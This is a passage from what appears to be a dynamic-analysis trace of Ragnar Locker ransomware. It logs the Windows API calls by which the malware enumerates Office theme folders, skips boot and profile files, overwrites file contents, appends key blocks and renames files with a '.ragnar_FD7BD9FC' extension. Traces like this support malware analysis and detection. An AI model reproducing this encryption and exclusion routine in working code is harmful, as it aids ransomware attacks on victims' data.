lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" [0077.558] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.ragnar_FD7BD9FC" [0077.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.559] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0077.559] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.559] lstrcpyW (in: lpString1=0x1eab72, lpString2="WATERMAR.INF" | out: lpString1="WATERMAR.INF") returned="WATERMAR.INF" [0077.559] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned=".INF" [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="autorun.inf") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="boot.ini") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="bootfont.bin") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="bootsect.bak") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="bootmgr") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="bootmgr.efi") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="bootmgfw.efi") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="desktop.ini") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="iconcache.db") returned 1 [0077.559] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="ntldr") returned 1 [0077.560] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="ntuser.dat") returned 1 [0077.560] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="ntuser.dat.log") returned 1 [0077.560] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="ntuser.ini") returned 1 [0077.560] lstrcmpiW (lpString1="WATERMAR.INF", lpString2="thumbs.db") returned 1 [0077.560] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0077.560] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0077.560] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0077.560] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0077.560] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0077.560] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0077.560] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0077.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf")) returned 0x20 [0077.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.561] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=683) returned 1 [0077.561] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.561] GetProcessHeap () returned 0x580000 [0077.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.561] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2ab, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.562] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.562] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.562] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2ab, lpOverlapped=0x0) returned 1 [0077.562] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.562] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ab, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.562] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ab, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2ab, lpOverlapped=0x0) returned 1 [0077.562] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ab, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.562] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.562] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x2ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.563] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.563] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.563] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.563] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.563] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.563] GetProcessHeap () returned 0x580000 [0077.563] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.563] CloseHandle (hObject=0x100) returned 1 [0077.563] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" [0077.563] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.ragnar_FD7BD9FC" [0077.563] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0077.564] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0077.564] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0077.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1a8c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1a8c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1a8c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1a8c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c6919e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c6919e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c776220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c776220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c85aa60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c85aa60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c9d7820, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c9d7820, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ca6fda0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ca6fda0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cb7a740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cb7a740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cc38e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cc38e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ccd13a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ccd13a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd8fa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cd8fa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ce4e160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ce4e160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d4d9de0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d4d9de0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d5be620, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d5be620, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d6ef120, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d6ef120, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d81fc20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d81fc20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dd08980, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dd08980, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7dded1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7dded1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7deab8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7deab8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e09aa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e09aa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e1cb580, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e1cb580, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e263b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e263b00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e798b20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e798b20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0077.564] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e7e4de0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e7e4de0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e857200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e857200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec355c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec355c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0077.565] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec81880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec81880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) 